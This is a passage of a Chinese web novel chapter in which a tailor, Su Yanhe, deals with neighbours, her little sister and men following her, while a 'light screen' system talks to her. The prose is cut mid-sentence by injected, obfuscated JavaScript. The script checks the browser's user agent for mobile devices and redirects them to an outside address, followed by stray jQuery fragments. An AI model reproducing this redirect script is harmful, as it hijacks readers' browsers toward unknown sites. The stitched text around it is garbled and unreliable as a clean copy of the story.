苏雁荷从缝纫机前站起来，小妹和王云心短暂停止交火，看苏雁荷只是去倒水，没有做出阻止，她俩就继续比拼嗓门。
“哎呦，你这个小孩是一点亏都吃不得了。”王云心指着苏雀兰的鼻子说，“讲你两句，你要顶回四句才能罢休了！”
小妹就是垫了脚，她那身高也只够王云心的一半，但仍然要伸长了脖子使劲拔高自己，再使劲吼：“我又不傻，我为什么要吃亏，你乐意吃亏就闭嘴啊，听我来好好骂你！”
最气的是，她这么努力吵架，王云心却总是笑，逗小孩玩儿的样子。
王云心说：“那我也没骂你啊，这么着急上火的，别人听见了还以为我欺负小孩。”
“别开口闭口小孩小孩，拿小孩寻开心怎么就不算欺负，你就是欺负！你说我刻薄，还说我笨！”脖子实在酸，小妹念完这一大段后长吁一口气。
她不肯弱下气势，左右看看，跑去墙角拿了扫把。
这下更让王云心放声大笑了，一边后退一边说：“谁敢说你笨啊，我没讲过，我明明才说你精。谁能有你精。”
小妹没懂“精”是好话坏话，不管，先吵了再说，但架势摆到一半，苏雁荷从她面前走过。
苏雁荷提着热水壶，是要出去接热水。
小妹朝王云心说着：“你说我连剪刀都不会用，就是在骂我笨，有本事让大姐教我们做一件衣服，比一比是不是你更笨。”
“那手艺不是让她学了去？”苏雁荷接了个话茬。
这场架就是由谁可以跟苏雁荷学手艺引起的，没吵出结果，王云心笑得更放肆：“现在笨不笨？”
小妹怔了怔，想不出后话，遂丢了扫把追着苏雁荷去接热水。
朝大门走，隔着十几个铺面，说远不远。这一路上，苏雁荷状态上十分自然，就是去接水，旁边还有个小妹在叽叽喳喳。
小妹要苏雁荷绝对不能教王云心做衣服，叨叨个不停，时不时回头跟站在店门口的王云心做鬼脸。
借着几次回头看小妹的间隙里，苏雁荷观察到的确有两个男人跟在后头，神色鬼鬼祟祟的。她没有声张，这一天里都在店里赶订单，忙到很晚才回去。
光幕不再弹出，苏雁荷面上不当回事。好像她与旁人并无差别，只是那朝夕为生活奔波的身影里微不足道的一个。
临近春节，许多铺面都挂上了应景的红灯笼，节日氛围在小孩子身上最能体现出来。
小妹得了件苏雁荷给她做的大红花色蓬蓬裙，跟心肝似的睡觉都想捧着。捧了两天，掰了无数次手指，过年实在太难等，干脆穿出了门，也不管气温如何。
挨着冻也不畏畏缩缩，小妹穿上新裙子跟苏雁荷一起去商业城，半天时间把商业城里里外外转了快一百圈。
王云心调侃：“小公主嘛这不是，赶紧去问问哪里有表演节目的，少年宫啊，还是前面戏团过年应该有节目，去问问，别光在这里晃荡，多浪费呢。”
小妹是真心觉得自己很美，所以把王云心的调侃当了真，问她：“商业城什么时候表演节目，上次大姐还在还不高兴演配角，那是哪里的节目。”
苏雁荷没能第一时间反应过来，那是之前小妹钻她卧室衣柜，听见了她和光幕较劲凭什么自己要当配角、当别人情感垫脚石。
以为已经把小妹敷衍过去了，没想到平时背课本转头就忘的小妹，这种事能记到现在。
“哪里的节目？”王云心反问，“让雁荷演配角，那谁有这么大的本事当主角啊？”
“对啊，我怎么可能演配角。”苏雁荷坦然笑着，又看看小妹，“是你理解有误。”
小妹还要仔细争论，被苏雁荷打断了下来。
“安排你一个任务。”苏雁荷说，“去西门电话亭，给我一个客人打电话，就说衣服可以来拿了。”
苏雁荷撕下一张订单联，重点标记出上面那一串号码，然后和两元钱一并交给小妹，说：“找零的钱都给你。”
“好咧！”小妹笑开了花，蹦着出去的。
王云心说：“你家是不是不同人吃不同的饭，怎么养出来的姐妹完全不是一个样，瞧瞧这小妹和苏莱，性子简直两个极端。”
“是吃什么饭的问题吗？”苏雁荷脸上没有笑，注意力放在手上那块布料的针脚走势，语气淡淡。
王云心能听出苏雁荷话里的冷意，“是在家得到多少关爱的问题。我总这么逗小雀兰，你没放心上吧？”
苏雁荷耸耸肩，漠不关心的态度：“你应该去问苏雀兰有没有放心上。”
“行，我以后注意分寸。”王云心站在门口的，一边在注意自家的店，顺着方向也瞧见小妹蹦远了的身影，越瞧越有意思，但紧接着又觉出了一点奇怪的地方。
王云心看回苏雁荷，问她：“你最近变了很多，又是改造苏莱，又是把小雀兰带在身边照顾，咱们当邻居不是一天两天，仔细想想，你好像是从哪一天突然变了样儿？”
“是吗？”苏雁荷不是一个会说出解释的人。
王云心说：“有小雀兰在，你每天吃饭都准点了，以前你每顿都是爱吃不吃，随便应付了事。”
这苏雁荷自己都没察觉到，她抬抬眼，对王云心笑了一声，没解释。埋头回去继续忙手里的活儿，一边低声咕哝：“可能是不想当反派配角。”
【不！】
【你是自主意识过剩！】
光幕存在感低了很多，今天到现在才冒出头，接着又消失许久，直到傍晚周诚过来拿定制的西服，它才再次弹出。
光幕质问：【你又要干嘛！】
“被人跟踪了这么多天，总要处理的吧？”苏雁荷回答光幕，同时也对周诚说。
几次见面，周诚都是皮衣或夹克的打扮，现在西服外套一穿，别说，看着很立整，人模人样的。
只是他大概不在酒桌上，讲恭维话的能力弱了几分，开口就问苏雁荷：“你什么来头？还有什么事能逃过你的眼睛？”
“巧合吧。”苏雁荷说。
周诚刚要讲话，见有人进了店，随之闭上嘴。
今天第一百八十趟绕完商业城回来的小妹，进到店里，那小眼睛就直勾勾看着周诚。
精准点，是看着周诚身上价值三百块钱的衣服。
三百对小妹、对这年头大部分人来说都是巨款，只是西服不在小妹的审美里，她瞧不出多好看，开口问：“哦！我打的电话就是打给你啊？这件衣服你穿真……显贵。”
周诚不确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098419|161997||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定这算不算收到夸奖了，但还是应一声“谢谢”，然后目光回到苏雁荷那儿，“你怎么想的，找个小孩当接线员？”
他应该是在不满苏雁荷的行为。明明知道被跟踪，还要带着个小孩在身边跑腿，心太大了。
周诚接过两次苏雀兰打来的电话，一次是今天下午，叫他有空来取单，讲完就挂，半句回应的时间都没给。
因为通话时间越短，苏雀兰就能获得越多找零的钱。
再有一次电话是前几天。接起通话，没有开场白，周诚只听见对面稚气的童声似乎照着稿在念，一字一顿地讲：“比预想中还顺利，猎人的箭已经在头顶盘旋。”
周诚本来还莫名其妙，以为是打错的电话，挂了电话没过多久，他接到顾誉山秘书的联系。顾誉山给他安排了一份还算光鲜的工作，是去企业底下的运输公司分部当经理。
挂名经理没有实权，说好听点是让周诚去历练两年，做出成绩了再来说开卡拉OK厅的事。说白了，是流放。
那一刻，周诚才恍然大悟，耳边开始环绕“箭在头顶盘旋”这句话的意思。
他今天来找苏雁荷之前，也去找过常卉。
常卉已经没有多余的精力去想什么开酒楼的事，她的服装厂被举报了，说是涉及走私和投机倒把，被扣了三批货，现在还滞留在港口。顾家企业的港口。
这些事如果硬要扣在一起，说是因为顾誉山疑心重，不想看到周姝琴跟生意场的人来往……周诚会觉得牵强，不至于这么提防吧，再怎么也是一家人。
可这个念头一旦闪过，就忍不住多加思考，出门时留了心眼，注意到自己确实被人盯着。
几分钟之前，来到商业场，周诚也瞧见了那蹲点的两波人碰上头还在互相使眼色。
原来，顾家和周家真不是表面上看到的亲如一家。
“小孩，又来一个人看扁你了，还不赶快展示你的实力。”苏雁荷说着，招招手，给小妹晃了晃她刚车好的一个用边角布料做的蝴蝶结头绳。
小妹三步并两步奔过去，背着身子蹲在苏雁荷面前，美美地让苏雁荷给她扎一个公主头。
撑着下巴，抬着眼，小妹看着周诚，问他：“我怎么了？我电话没打错，话也没有传错啊。”
“你不觉得……会有危险？”周诚问苏雁荷。问出口就后悔了。一是他现在自身难保，犯不着操心别人的事，二是……
周诚定在苏雁荷身上的眸光慢慢凝重起来，最重要的原因是，苏雁荷不简单。
几次打交道，周诚看到的苏雁荷，总是一派淡然，好像掌控了全局，对任何人任何事都了如指掌，她大概是有着别人没有的能力，知晓如何避开对自己不利的结果。这样的一个人，就更用不着旁人指手画脚了。
就如同现在，苏雁荷一边给小妹扎头发，语气懒懒慢慢，回着周诚的话，她说：“没那么严重，你姑父只是唬一唬人，他不是还给你安排了工作，多好的事。”
周诚换下西服外套，穿回自己的夹克。
这人脱了西服那一身匪气立刻显露出来，站也站不直，笑里自带不羁，似乎看什么不由心。一闪而过的讶异，周诚笑笑恭维：“苏老板是满城都装了眼线？什么事都逃不过你的眼睛……”